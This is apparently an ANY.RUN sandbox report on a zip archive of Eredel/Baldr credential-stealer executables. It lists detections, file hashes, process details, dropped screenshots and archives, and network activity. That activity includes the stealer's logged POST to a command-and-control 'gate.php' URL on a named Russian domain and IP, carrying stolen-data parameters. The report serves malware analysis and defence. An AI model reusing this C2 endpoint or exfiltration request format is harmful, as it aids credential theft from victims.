analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

SPAM2.zip

Full analysis: https://app.any.run/tasks/b463a247-0b16-4307-b5d2-c11ed54aa00f
Verdict: Malicious activity
Threats:

Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns.

Malware Trends Tracker     >>>
Analysis date: October 09, 2019, 13:06:03
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
trojan
stealer
eredel
baldr
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

D0993B2DF29528FFEE79D50A52BD4A08

SHA1:

34FD23F4729E2A6B63D8D1DC311188D2188E6EF9

SHA256:

DB29691E24F2660DDB8C7EEB4E5B50D0C96C65806CE6B94958CC57F90DEAEE2A

SSDEEP:

98304:CxFOmH/EmaB8knUxODI4/Fe5nWplHsQ1aNNGyTnWEPgoZm3DM:SImHfaBZnPDNgCH31aNNGyTnDPgIm3DM

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • stepa.asyx.rulogin (1).exe (PID: 2260)
      • stepa.asyx.rulogin (2).exe (PID: 2124)
      • drawing.exe (PID: 2344)
      • stepa.asyx.rulogin (3).exe (PID: 1420)
      • stepa.asyx.rulogin (4).exe (PID: 2156)

    • Stealing of credential data

      • stepa.asyx.rulogin (1).exe (PID: 2260)
      • stepa.asyx.rulogin (2).exe (PID: 2124)
      • stepa.asyx.rulogin (3).exe (PID: 1420)
      • stepa.asyx.rulogin (4).exe (PID: 2156)

    • Actions looks like stealing of personal data

      • stepa.asyx.rulogin (1).exe (PID: 2260)
      • stepa.asyx.rulogin (2).exe (PID: 2124)
      • stepa.asyx.rulogin (3).exe (PID: 1420)
      • stepa.asyx.rulogin (4).exe (PID: 2156)

    • EREDEL was detected

      • stepa.asyx.rulogin (1).exe (PID: 2260)
      • stepa.asyx.rulogin (2).exe (PID: 2124)
      • stepa.asyx.rulogin (3).exe (PID: 1420)
      • stepa.asyx.rulogin (4).exe (PID: 2156)

    • Connects to CnC server

      • stepa.asyx.rulogin (1).exe (PID: 2260)
      • stepa.asyx.rulogin (2).exe (PID: 2124)
      • stepa.asyx.rulogin (3).exe (PID: 1420)
      • stepa.asyx.rulogin (4).exe (PID: 2156)

  • SUSPICIOUS

    • Searches for installed software

      • stepa.asyx.rulogin (1).exe (PID: 2260)
      • stepa.asyx.rulogin (2).exe (PID: 2124)
      • stepa.asyx.rulogin (3).exe (PID: 1420)
      • stepa.asyx.rulogin (4).exe (PID: 2156)

    • Uses WMIC.EXE to obtain a system information

      • stepa.asyx.rulogin (1).exe (PID: 2260)
      • stepa.asyx.rulogin (2).exe (PID: 2124)
      • stepa.asyx.rulogin (3).exe (PID: 1420)
      • stepa.asyx.rulogin (4).exe (PID: 2156)

    • Reads the cookies of Google Chrome

      • stepa.asyx.rulogin (1).exe (PID: 2260)
      • stepa.asyx.rulogin (2).exe (PID: 2124)
      • stepa.asyx.rulogin (3).exe (PID: 1420)
      • stepa.asyx.rulogin (4).exe (PID: 2156)

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 1980)
      • stepa.asyx.rulogin (2).exe (PID: 2124)

  • INFO

    • Manual execution by user

      • WinRAR.exe (PID: 1980)
      • stepa.asyx.rulogin (1).exe (PID: 2260)
      • stepa.asyx.rulogin (2).exe (PID: 2124)
      • stepa.asyx.rulogin (3).exe (PID: 1420)
      • stepa.asyx.rulogin (4).exe (PID: 2156)
      • NOTEPAD.EXE (PID: 1452)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: stepa.asyx.rulogin (1).exe
ZipUncompressedSize: 1622016
ZipCompressedSize: 1512447
ZipCRC: 0x6b5af83a
ZipModifyDate: 2019:10:09 15:04:04
ZipCompression: Deflated
ZipBitFlag: -
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
58
Monitored processes
12
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winrar.exe no specs winrar.exe #EREDEL stepa.asyx.rulogin (1).exe wmic.exe no specs #EREDEL stepa.asyx.rulogin (2).exe wmic.exe no specs drawing.exe no specs #EREDEL stepa.asyx.rulogin (3).exe wmic.exe no specs #EREDEL stepa.asyx.rulogin (4).exe wmic.exe no specs notepad.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1856"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\SPAM2.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
1980"C:\Program Files\WinRAR\WinRAR.exe" x -iext -ow -ver -- "C:\Users\admin\Desktop\SPAM2.zip" C:\Users\admin\Desktop\SPAM2\C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
2260"C:\Users\admin\Desktop\SPAM2\stepa.asyx.rulogin (1).exe" C:\Users\admin\Desktop\SPAM2\stepa.asyx.rulogin (1).exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2864"wmic" os get Caption /format:listC:\Windows\SysWOW64\Wbem\wmic.exe—stepa.asyx.rulogin (1).exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2124"C:\Users\admin\Desktop\SPAM2\stepa.asyx.rulogin (2).exe" C:\Users\admin\Desktop\SPAM2\stepa.asyx.rulogin (2).exe
explorer.exe
User:
admin
Company:
Apple Inc.
Integrity Level:
MEDIUM
Description:
libtidy.dll
Exit code:
0
Version:
15.18.1.2330
2716"wmic" os get Caption /format:listC:\Windows\SysWOW64\Wbem\wmic.exe—stepa.asyx.rulogin (2).exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2344"C:\Users\admin\AppData\Local\Temp\drawing.exe" C:\Users\admin\AppData\Local\Temp\\cc0421e834a74a7fb35798ccd7055ab0C:\Users\admin\AppData\Local\Temp\drawing.exe—stepa.asyx.rulogin (2).exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
1420"C:\Users\admin\Desktop\SPAM2\stepa.asyx.rulogin (3).exe" C:\Users\admin\Desktop\SPAM2\stepa.asyx.rulogin (3).exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
ApiSet Stub DLL
Exit code:
0
Version:
10.0.10137.0 (th1.150602-2238)
1612"wmic" os get Caption /format:listC:\Windows\SysWOW64\Wbem\wmic.exe—stepa.asyx.rulogin (3).exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2156"C:\Users\admin\Desktop\SPAM2\stepa.asyx.rulogin (4).exe" C:\Users\admin\Desktop\SPAM2\stepa.asyx.rulogin (4).exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Total events
594
Read events
548
Write events
0
Delete events
0

Modification events

No data
Executable files
5
Suspicious files
8
Text files
20
Unknown types
8

Dropped files

PID
Process
Filename
Type
2260stepa.asyx.rulogin (1).exeC:\Users\admin\AppData\Local\Temp\976c.77e4a0 —
MD5:—
SHA256:—
2260stepa.asyx.rulogin (1).exeC:\Users\admin\AppData\Local\Temp\86c7.ab7670 —
MD5:—
SHA256:—
2124stepa.asyx.rulogin (2).exeC:\Users\admin\AppData\Local\Temp\fb88b745.ae37 —
MD5:—
SHA256:—
2124stepa.asyx.rulogin (2).exeC:\Users\admin\AppData\Local\Temp\1a7a4ebc.8ad8 —
MD5:—
SHA256:—
2260stepa.asyx.rulogin (1).exeC:\Users\admin\AppData\Local\Temp\74ee.d876cesqlite
MD5:379E18548C70DC5450018821EAF3AE0C
SHA256:3E4D0B85421D6D9B10045D1D8D82B75AA076C4052A22A7DD9B398F7F1EA3BC59
1980WinRAR.exeC:\Users\admin\Desktop\SPAM2\stepa.asyx.rulogin (3).exeexecutable
MD5:A6F61AFC67FEBC0206FB63CFB432D4D8
SHA256:D5C6A18E35E7FDA55EEE61CB26E2137B42A17608A4D25A2324E1B3E157320EE0
2260stepa.asyx.rulogin (1).exeC:\Users\admin\AppData\Local\Temp\93582306dd4c46f5a14f68e0d8cbdc09\screen.jpgimage
MD5:425DA6432DC431DFC764353CCC150E2B
SHA256:F215E0E9E517656AE40A1A625E5FA6E5D9C70B272C5C521094F0EC55C0612903
2260stepa.asyx.rulogin (1).exeC:\Users\admin\AppData\Local\Temp\93582306dd4c46f5a14f68e0d8cbdc09.zipcompressed
MD5:2B178180CFDFD126917A1E3D496D6785
SHA256:2232C8133635431ECE3DC51BC736A7B4E253E5495F9D19BAC974F25D2D8E1269
2344drawing.exeC:\Users\admin\AppData\Local\Temp\cc0421e834a74a7fb35798ccd7055ab0\screen.jpgimage
MD5:4B99F614E6ABC7EEDF26AB140B14383A
SHA256:A5EF647D976AA96F6F25443B1BEA5A1B5597CB4B845ADB48491DDFB9253F8ACB
1980WinRAR.exeC:\Users\admin\Desktop\SPAM2\stepa.asyx.rulogin (1).exeexecutable
MD5:0F91CE6DBAFA2051D088E01188461837
SHA256:47AA2B91185660D49CEAC2ED9F383B2AFDC38767117893F18FC28E73F6648EC0
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
4
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2156
stepa.asyx.rulogin (4).exe
POST
200
178.33.33.187:80
http://stepa.asyx.ru/gate.php?hwid=7CD9E0E6&os=Windows%207&file=3&cookie=7&pswd=1&credit=0&autofill=0&wallets=0&telegram=0&id=&version=v1.2.5
DE
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1420
stepa.asyx.rulogin (3).exe
178.33.33.187:80
stepa.asyx.ru
OVH SAS
DE
malicious
2260
stepa.asyx.rulogin (1).exe
178.33.33.187:80
stepa.asyx.ru
OVH SAS
DE
malicious
2156
stepa.asyx.rulogin (4).exe
178.33.33.187:80
stepa.asyx.ru
OVH SAS
DE
malicious
2124
stepa.asyx.rulogin (2).exe
178.33.33.187:80
stepa.asyx.ru
OVH SAS
DE
malicious

DNS requests

Domain
IP
Reputation
stepa.asyx.ru
  • 178.33.33.187
malicious

Threats

PID
Process
Class
Message
2260
stepa.asyx.rulogin (1).exe
A Network Trojan was detected
ET TROJAN Trojan Generic - POST To gate.php with no referer
2260
stepa.asyx.rulogin (1).exe
A Network Trojan was detected
ET TROJAN MSIL/Eredel Stealer CnC Checkin
2260
stepa.asyx.rulogin (1).exe
A Network Trojan was detected
MALWARE [PTsecurity] Trojan-Spy.MSIL.Agent.gen (Eredel Stealer)
2260
stepa.asyx.rulogin (1).exe
A Network Trojan was detected
MALWARE [PTsecurity] Trojan.PWS.Stealer.Gen.Baldr
2260
stepa.asyx.rulogin (1).exe
A Network Trojan was detected
ET TROJAN Trojan Generic - POST To gate.php with no accept headers
2260
stepa.asyx.rulogin (1).exe
Potentially Bad Traffic
ET TROJAN Generic -POST To gate.php w/Extended ASCII Characters (Likely Zeus Derivative)
2124
stepa.asyx.rulogin (2).exe
A Network Trojan was detected
ET TROJAN Trojan Generic - POST To gate.php with no referer
2124
stepa.asyx.rulogin (2).exe
A Network Trojan was detected
ET TROJAN MSIL/Eredel Stealer CnC Checkin
2124
stepa.asyx.rulogin (2).exe
A Network Trojan was detected
MALWARE [PTsecurity] Trojan-Spy.MSIL.Agent.gen (Eredel Stealer)
2124
stepa.asyx.rulogin (2).exe
A Network Trojan was detected
MALWARE [PTsecurity] Trojan.PWS.Stealer.Gen.Baldr
4 ETPRO signatures available at the full report
Process
Message
stepa.asyx.rulogin (1).exe
%s------------------------------------------------ --- Themida Professional --- --- (c)2012 Oreans Technologies --- ------------------------------------------------
stepa.asyx.rulogin (4).exe
%s------------------------------------------------ --- Themida Professional --- --- (c)2012 Oreans Technologies --- ------------------------------------------------
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
SPAM2.zip